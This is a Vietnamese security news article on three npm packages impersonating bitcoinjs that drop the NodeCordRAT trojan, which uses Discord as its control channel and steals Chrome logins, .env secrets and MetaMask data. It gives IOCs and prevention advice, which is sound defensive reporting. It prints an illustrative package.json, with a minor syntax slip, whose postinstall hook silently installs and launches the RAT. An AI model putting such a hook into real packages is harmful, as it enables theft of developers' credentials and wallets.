Ba gói npm độc hại đã được phát hiện nhằm vào các nhà phát triển JavaScript, với mục tiêu chính là đánh cắp dữ liệu đăng nhập trình duyệt, khóa API và dữ liệu ví tiền điện tử.
Các gói này, được đặt tên là bitcoin-main-lib, bitcoin-lib-js và bip40, đã được tải lên kho lưu trữ npm công khai, mạo danh các công cụ liên quan đến dự án bitcoinjs phổ biến. Bất kỳ nhà phát triển nào thêm chúng làm phụ thuộc đều có thể âm thầm cài đặt một trojan truy cập từ xa mới có tên là NodeCordRAT.
NodeCordRAT: Mã Độc Truy Cập Từ Xa Chuyên Dụng
NodeCordRAT là một trojan truy cập từ xa (RAT) được viết bằng Node.js. Mã độc này sử dụng Discord làm kênh điều khiển và kiểm soát (C2), cung cấp cho kẻ tấn công quyền truy cập shell từ xa và khả năng truy cập tệp trên các hệ thống bị xâm nhập.
Chức Năng và Mục Tiêu của NodeCordRAT
Khi NodeCordRAT được kích hoạt, nó sẽ tìm kiếm một số loại dữ liệu nhạy cảm nhất định trên hệ thống bị nhiễm:
- Cơ sở dữ liệu đăng nhập của trình duyệt Chrome.
- Các tệp .env có khả năng chứa các bí mật như mã thông báo API (API tokens).
- Dữ liệu MetaMask, liên quan đến tiện ích mở rộng ví trình duyệt phổ biến.
Mục tiêu cuối cùng là đánh cắp dữ liệu xác thực và dữ liệu dự án nhạy cảm trực tiếp từ máy tính của nhà phát triển. Điều này có thể bao gồm khóa đám mây, mã nguồn và quyền truy cập vào các quy trình sản xuất.
Phát Hiện và Chuỗi Tấn Công của Các Gói npm Độc Hại
Các nhà phân tích của Zscaler ThreatLabz đã xác định bộ ba gói độc hại này vào tháng 11 năm 2025. Việc phát hiện diễn ra trong quá trình quét kho lưu trữ npm để tìm kiếm các gói đáng ngờ và các mẫu tải xuống bất thường.
Các thư viện này được liên kết với một tài khoản tác giả duy nhất. Payload cuối cùng, được phân phối thông qua gói bip40, đã được xác nhận là một RAT đánh cắp dữ liệu mà họ đặt tên là NodeCordRAT.
Kỹ Thuật Mạo Danh và Lây Nhiễm Ban Đầu
Kẻ tấn công đã sao chép tên và chi tiết từ các thành phần bitcoinjs thực để làm cho các mô-đun trông giống như hợp pháp này có vẻ vô hại. Đối với nạn nhân, chuỗi tấn công xuất hiện như một quá trình cài đặt gói thông thường:
- npm tìm nạp bitcoin-main-lib hoặc bitcoin-lib-js.
- Chạy script hậu cài đặt tiêu chuẩn.
- Kéo bip40 vào làm một phụ thuộc.
Đằng sau hậu trường, luồng này kết thúc với việc kẻ tấn công từ xa có quyền kiểm soát máy trạm của nhà phát triển. Một số nguồn tin uy tín như Zscaler cung cấp phân tích chi tiết về các chiến dịch tấn công tương tự. Bạn có thể tham khảo thêm tại Zscaler ThreatLabz Blog để nắm rõ hơn về mối đe dọa mạng này.
Cơ Chế Lây Nhiễm Chi Tiết Qua package.json
Chi tiết cơ chế lây nhiễm bắt đầu từ tệp package.json. Kẻ tấn công đã thêm các mục script trông giống như các tác vụ xây dựng thông thường nhưng thực tế lại kích hoạt một trình cài đặt tùy chỉnh.
Ví Dụ Script Kích Hoạt Mã Độc
Một đoạn mã điển hình có thể bao gồm các mục sau trong tệp package.json của các gói độc hại:
{
"name": "bitcoin-main-lib",
"version": "1.0.0",
"description": "Mock Bitcoin library for internal use.",
"main": "index.js",
"scripts": {
"postinstall": "npm install bip40@^1.0.0 && pm2 start ./node_modules/bip40/index.js --name NodeCordRAT --silent",
"build": "echo 'Building project...'
},
"dependencies": {
"lodash": "^4.17.21"
}
}Khi cài đặt, script postinstall này chạy mà không cần sự tương tác của người dùng. Nó sẽ giải quyết mô-đun bip40, sau đó khởi động nó dưới dạng một tiến trình nền bằng cách sử dụng PM2. Điều này đảm bảo rằng NodeCordRAT tiếp tục chạy ngay cả sau khi npm thoát, cung cấp cho kẻ tấn công quyền truy cập trực tiếp trong suốt phiên hoạt động.
Theo mặc định, quyền truy cập này không duy trì qua các lần khởi động lại hệ thống hoàn toàn.
Hoạt Động và Trao Đổi Dữ Liệu của NodeCordRAT
Khi NodeCordRAT hoạt động, nó sẽ kết nối với một máy chủ Discord được mã hóa cứng. Mã độc này lắng nghe các lệnh như !run hoặc !sendfile, sau đó truyền tải dữ liệu bị đánh cắp và ảnh chụp màn hình trở lại qua cùng kênh C2.
Khả năng này cho phép kẻ tấn công thực hiện remote code execution (thực thi mã từ xa) và đánh cắp thông tin quan trọng từ máy nạn nhân một cách hiệu quả.
Chỉ Số Thỏa Hiệp (IOCs)
Để hỗ trợ nhận diện và phòng ngừa mối đe dọa mạng này, các chỉ số thỏa hiệp (IOCs) sau đây cần được chú ý:
- Gói npm độc hại:
bitcoin-main-libbitcoin-lib-jsbip40
- Tên mã độc:
- NodeCordRAT
- Kênh C2:
- Discord (máy chủ cụ thể được mã hóa cứng trong mã độc)
- Các tệp mục tiêu để đánh cắp dữ liệu:
- Cơ sở dữ liệu đăng nhập trình duyệt Chrome
- Tệp
.env(chứa API tokens, bí mật) - Dữ liệu MetaMask
Phòng Ngừa và Giảm Thiểu Rủi Ro
Để bảo vệ hệ thống khỏi các gói npm độc hại và các cuộc tấn công tương tự, các nhà phát triển và tổ chức cần áp dụng các biện pháp bảo mật nghiêm ngặt. Việc quét kho lưu trữ npm để tìm các gói đáng ngờ và các mẫu tải xuống bất thường là một bước quan trọng, như cách các nhà phân tích của Zscaler đã thực hiện.
Các phương pháp phòng ngừa bao gồm việc kiểm tra kỹ lưỡng các phụ thuộc trước khi cài đặt, sử dụng các công cụ phân tích tĩnh (SAST) và phân tích phụ thuộc (SCA) để phát hiện các gói độc hại. Ngoài ra, việc giới hạn quyền truy cập và phân đoạn mạng có thể giúp giảm thiểu tác động nếu một hệ thống bị xâm nhập.










